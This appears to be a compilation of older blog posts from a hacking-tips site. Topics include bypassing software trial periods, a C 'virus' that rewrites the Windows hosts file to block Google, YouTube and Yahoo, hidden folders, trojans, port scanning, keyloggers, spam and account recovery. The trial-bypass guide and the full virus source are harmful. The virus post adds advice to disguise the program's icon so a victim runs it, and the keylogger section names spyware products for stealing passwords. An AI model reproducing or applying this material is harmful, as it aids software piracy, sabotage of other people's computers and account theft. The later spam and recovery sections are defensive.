Hack Software and Run the Trial Program Forever

In this post I’ll show you how to hack a Software and run the trial program forever. Most of us are familiar with many softwares that run only for a specified period of time in the trial mode. Once the trial period is expired these softwares stop functioning and demand for a purchase. But there is a way to run the softwares and make them function beyond the trial period. Isn’t this interesting?

Before I tell you how to hack the software and make it run in the trial mode forever, we have to understand the functioning of these softwares. I’ll try to explain this in brief.

When these softwares are installed for the first time, they make an entry into the Windows Registry with the details such as Installed Date and Time, installed path etc. After installation every time you run the software, it compares the current system date and time with the installed date and time. So, with this it can make out whether the trial period is expired or not.

So with this being the case, just manually changing the system date to an earlier date will not solve the problem. For this purpose there is a small Tool known as RunAsDate.

RunAsDate is a small utility that allows you to run a program in the date and time that you specify. This utility doesn’t change the current system date, but it only injects the date/time that you specify into the desired application.

RunAsDate intercepts the kernel API calls that returns the current date and time (GetSystemTime, GetLocalTime, GetSystemTimeAsFileTime), and replaces the current date/time with the date/time that you specify. It works with Windows 2000, XP, 2003 and Vista.

NOTE: FOLLOW THESE TIPS CAREFULLY

You have to follow these tips carefully to successfully hack a software and make it run in it’s trial mode forever.

1. Note down the date and time, when you install the software for the first time.

2. Once the trial period expires, you must always run the software using RunAsDate.

3. After the trial period is expired, do not run the software(program) directly. If you run the software directly even once, this hack may no longer work.

4. It is better and safe to inject the date of the last day in the trial period.

For example, if the trial period expires on jan 30 2009, always inject the date as jan 29 2009 in the RunAsDate. I hope this helps! Please express your experience and opinions through comments.

A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IEor Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?

Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h>

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.

%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1                                google.com

5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ?

How to Make Invisible Password Protected Folder

Do you want to password protect your folder? Do you want to make it invisible so that it remains unnoticed by the normal users? Well here is a way to do that. In this post I will show you how to make a password protected folder in Windows without using any additional software. Here is is step by step procedure to create a password protected folder.

 

How to create a Password Protected Folder?

 

Step-1: Create a new folder (Right-click -> New -> Folder) and give it any name of your choice. For instance I name it as ABC.

Step-2: Now in this folder place all the important files, documents or any folders that you want to password protect.

Step-3: Now Right-click on this folder (ABC) and select the option Send To ->Compressed (zipped) Folder.

Step-4: Now a new compressed zipped folder gets created next this folder (ABC) with the same name.

Step-5: Double-click on this compressed zipped folder and you should see your original folder (ABC) here.

Step-6: Now goto the File menu and select the option Add a password.

ie: File -> Add a password

Now a small window will pop up and here you can set your desired password. Once the password is set, the folder will ask for the password every time it is opened. Thus you have now created the password protected folder.

 

How to make it Invisible?

 

Step-1: Now Right-click on this password protected folder and select Properties.

Step-2: At the bottom select the option Hidden and press OK. Now your folder gets invisible (hidden).

Step-3: In order to unhide this folder go to My Computer – >Tools -> Folder options. Switch to View tab, scroll down and under Hidden files and folders you’ll see the following two options

• Do not show hidden files and folders
• Show hidden files and folders

 

Now select the second option and press OK. Now the invisible folder becomes visible in it’s location. To access it you need the password. To make it invisible again repeat step -1 through step-3 and select the first option and click OK. Now the folder becomes invisible once again.

I hope you like this post. Pass your comments!! Cheers

Know More About Trojans and Backdoors

A Trojan horse is an unauthorized program contained within a legitimate program. This unauthorized program performs functions unknown (and probably unwanted) by the user.

• It is a legitimate program that has been altered by the placement of unauthorized code within it; this code performs functions unknown (and probably unwanted) by the user.
• Any program that appears to perform a desirable and necessary function but that (because of unauthorized code within it that is unknown to the user) performs functions unknown (and definitely unwanted) by the user.

Working of Trojans

• Attacker gets access to the trojaned system as the system goes online
• By way of the access provided by the trojan attacker can stage attacks of different types.

Various Trojan Types

• Remote Access Trojans
• Password Sending Trojans
• Keyloggers
• Destructive
• Denial Of Service (DoS) Attack Trojans
• Proxy/Wingate Trojans
• FTP Trojans
• Software Detection Killers

Modes of Transmission

• Attachments
• Physical Access
• Browser And E-mail Software Bugs
• NetBIOS (File Sharing)
• Fake Programs
• Un-trusted Sites And Freeware Software

Backdoor Countermeasures

• Most commercial ant-virus products can automatically scan and detect backdoor programs before they can cause damage (Eg. before accessing a floppy, running exe or downloading mail)
• An inexpensive tool called Cleaner (http://www.moosoft.com/cleanet.html) can identify and eradicate 1000 types of backdoor programs and trojans.
• Educate your users not to install applications downloaded from the internet and e-mail attachments.

Port Scanning

Port Scanning is one of the most popular techniques used by hackers to discover services that can be compromised.

• A potential target computer runs many ‘services’ that listen at ‘well-known’ ‘ports’.
• By scanning which ports are available on the victim, the hacker finds potential vulnerabilities that can be exploited.
• Scan techniques can be differentiated broadly into Vanilla, Strobe, Stealth, FTP Bounce, Fragmented Packets, Sweep and UDP Scans.

Port Scanning Techniques

 
Port Scanning Techniques can be broadly classified into:

• Open scan
• Half- open scan
• Stealth scan
• Sweeps
• Misc

Commonly used tools for port scanning

1. Tool: SuperScan 3.0

2. Tool: NMap (Network Mapper)

3. Tool: NetScan Tools Pro 2003

4. Tool: ipEye, IPSecScan

Common Terminologies used in Internet Security

If you are a newbie in Internet security, you have come to the right place. The following is information on some common terms used in Internet security. So next time you don’t have to scratch your head when someone uses these.

Firewall – is a system that acts as a barrier between your computer network and the Internet. A firewall controls the flow of information according to security policies.

Hacker – can be anyone specializing in accessing computer based systems for illegal purposes or just for the fun of it.

IP spoofing – is an attempt to access your system by pretending like another system. This is done by setting up a system with an IP address that you normally trust.

Sniffing – is the spying on electronic transmissions to access data. This mostly occurs in privately owned LAN networks connected to the web.

Trojan horse – a program pretending like useful software, while its actual strategy is to access, steal or destroy user data and access authorization. Apart from destroying information, trojans can also create a backdoor on your system for stealing confidential information.

Virus – is a program that attaches itself to a program or file. This allows it to spread across networks and cause damage to software and hardware. To operate, viruses require the execution of the attached file.

Worm - A worm is almost similar to a virus, except that it doesn’t need the execution of any executable file to get activated. It can also replicate itself as it travels across networks.

Common Email Hacking Methods

Gone are the days when email hacking was a sophisticated art. Today any body can access hacking tips through the Internet and start hacking your yahoo or hotmail account. All that is needed is doing a search on google with keywords like “how to hack yahoo”, “hack yahoo messenger”, “hotmail hack program” etc. The following article is not an effort to teach you email hacking, but it has more to do with raising awareness on some common email hacking methods.

Hackers can install keylogger programs in the victim’s computer. This program can spy on what the user types from the keyboard. If you think that you can just uninstall such programs, you are wrong as they are completely hidden. After installation, the hacker will use a password and hot keys to enable the keylogger. He can then use the hot keys and password to access your key entry details.

A keylogger program is widely available on the internet.some of them are listed below

Win-Spy Monitor

Realtime Spy

SpyAgent Stealth

Spy Anywhere

For more information on keyloggers and it’s usage refer my post Hacking an email account.

Even if direct access to your computer is not possible, hackers can still install a key logger from a remote place and access your computer using Remote Administration Tools (RATs).

Another way of getting your password is the use of fake login pages that look exactly like the real one. So, beware of the web pages you visit. Also if you find your computer behaving oddly, there is a chance that some spy program is running. On such occasions it is better to try and remove the malware or reformat the entire hard disk.A detailed Email Hacking tutorial is discussed in the post Hacking an email account.

How to Protect an Email Account from SPAM

Most of us get SPAM every day. Some of us get more and some little. Even a newly created email account will begin to receive spam just after a few days of it’s creation. Many times we wonder where these spam come from and why? But this question remains unanswered within ourselves. So in this post I will try my best to give every possible information about the spam and will also tell you about how to combat spam.

 

What is SPAM?

Spam is the abuse of electronic messaging systems (including most broadcast media, digital delivery systems) to send unsolicited bulk messages indiscriminately. Most widely recognized form of spam is email spam.

 

Where do these SPAM come from?

These spam come only from spammers and never from a legitimate user or a company. These spammers send a single email to hundreds (some times thousands or millions) of email addresses at a time. They either send it manually or use spambots to automate the process of spamming.

 

Why do spammers SPAM?

The main goal of spammers is to send the spam (unsolicited bulk messages) to as many people as possible in order to make profit. For example, John builds a small website to sell an ebook which gives information about weight loss. In order to make sales he needs publicity for his website. Instead of spending money on advertising, John decides to create an email which contains information about his site along with it’s link and send this email to say 100 email addresses in his contact list. If 1 person out of hundred buy this book john gets $10. What if he sends this email to 1000s of email addresses. He gets $100. Imagine, if he sends this email to 1 Million email addresses he gets $100000.

Now I hope you understood the idea behind spamming. So in order to make money, spammers send their advertising emails to as many people as possible without respecting the recipient’s privacy.

 

From where do SPAMmers get my email address?

On the Internet there exists many sites who collect the email IDs of people and sell them to spammers in bulk. Most often, people sign up for monthly newsletters and take up surveys. This is the time where these scam sites get their email addresses. Also many spammers collect email addresses by using spambots. These spambots collect email addresses from the Internet in order to build mailing lists. Such spambots are web crawlers that can gather email addresses from Web sites, newsgroups, forums, special-interest group (SIG) postings, and chat-room conversations.

Spammers also use the trick of creating Hoax Emails for gathering a huge list of email IDs. For example, a spammer sends a hoax email which says “Forward this Message to Help Severely Burned Child”. This email claims that 11 cents will be donated to the child’s family every time the message is sent to others. Most of the people believe this and start forwarding this hoax email to all of the IDs in their contact list. In this way the email spreads rapidly and eventually when it reaches the creator (spammer), the spammer gets a huge list of valid email addresses in the email header. When you get these kind of hoax emails, you can see for yourself in the email header which contains a huge list of email addresses of all those people to whom the email is being forwarded to. This is one of the effective methods used by spammers to gather email addresses.

 

Is SPAMming legal?

Spamming is completely illegal. Yet it is really difficult to stop spammers from spamming since they keep moving from one hosting company to another after getting banned. This makes it practically impossible to catch spammers and prosecute them.

 

How to protect my email account from getting SPAMmed?

The following methods can be used to combat email spam.

1. Use spam filters for your email account. If you’re using email services like Gmail, Yahoo, Hotmail etc. then spam filters are used by defaut. Each spam filter has it’s algorithm to detect spam emails and will automatically move them to SPAM folder. This keeps your inbox free from spam. However some spam emails become successful to make their way into the inbox by successfully bypassing the filters.

2. Do not post your email address in public forums, user comments and chat-rooms. Give your email address only to trustworthy websites while signing up for newsletters.

3. While taking up online surveys and filling up feedback forms, it is better not to give your personal email address. Instead singup for a dummy email account and use this for surveys and feedback forms.

4. While posting your contact email address on your website use this format: emailaddress [at] yoursite.com instead of emailaddress@yoursite.com. This protects your email address from being indexed by spambots.

5. Do not respond to hoax messages. When you receive a hoax email, avoid forwarding it to your friends. Examples of hoax messages can be found at http://www.hoax-slayer.com/. If you really want to forward it to your friends, make sure that you use “Bcc” (blind carbon copy) option to send the email. This will hide all the email IDs to which the mail is forwarded to.

I hope this helps. Pass your suggestions and feedback via comments.

What to Do When Your Email Account is Hacked?

How to Recover Hacked Email Accounts?

 

It can be a real nightmare if someone hacks and takes control of your email account as it may contain confidential information like bank logins, credit card details and other sensitive data. If you are one such Internet user whose email account has been compromised, then this post will surely help you out. In this post you will find the possible ways and procedures to get back your hacked email account.

 

For Gmail:

 

It can be a big disaster if your Gmail account has been compromised as it may be associated with several services like Blogger, Analytics, Adwords, Adsense, Orkut etc. Losing access to your Gmail account means losing access to all the services associated it with too. Here is a list of possible recovery actions that you can try.

Step -1: Try resetting your password since it is the easiest way to get your account back in action. In this process Google may ask you to answer the secret question or may send the password reset details to the secondary email address associated with your compromised account. You can reset you password from the following link

Gmail Password Reset Link

If you cannot find success from the Step-1 then proceed to Step-2.

 

Step-2: Many times the hacker will change the secret question and secondary email address right after the account is compromised. This is the reason for the Password Reset process to fail. If this is the case then you need to contact the Gmail support team by filling out the account recovery form. This form will ask you to fill out several questions like

1. Email addresses of up to five frequently emailed contacts
2. Names of any 4 Labels that you may have created in your account
3. List of other services associated with your compromised account
4. Your last successful login date
5. Account created date
6. Last password that you remember and many more…

You need to fill out this form as much accurately as possible. It is obvious to forget the dates of last login, account creation and similar terms. However you need to figure out the closest possible date/answers and fill out this form. This is your last chance! The more accurate the information filled out in the recovery form, the more the chances of getting your account back. You may reach the account recovery page form the following link

Account Recovery Form

 

For Yahoo and Hotmail:

 

Unfortunately for Yahoo/Hotmail there is no second option like filling out the form or contacting the support team. All you need to do is either answer the secret questions that you have setup or reset the password using the secondary email option. 

To initiate the password reset process just click on the Forgot password link in your login page and proceed as per the screen instructions.

 

I hope this post will help you recover the lost account. I highly recommend that you also read my post on How to protect your email account from being hacked and Tips to find unauthorized activity on your Gmail account so that you always stay protected!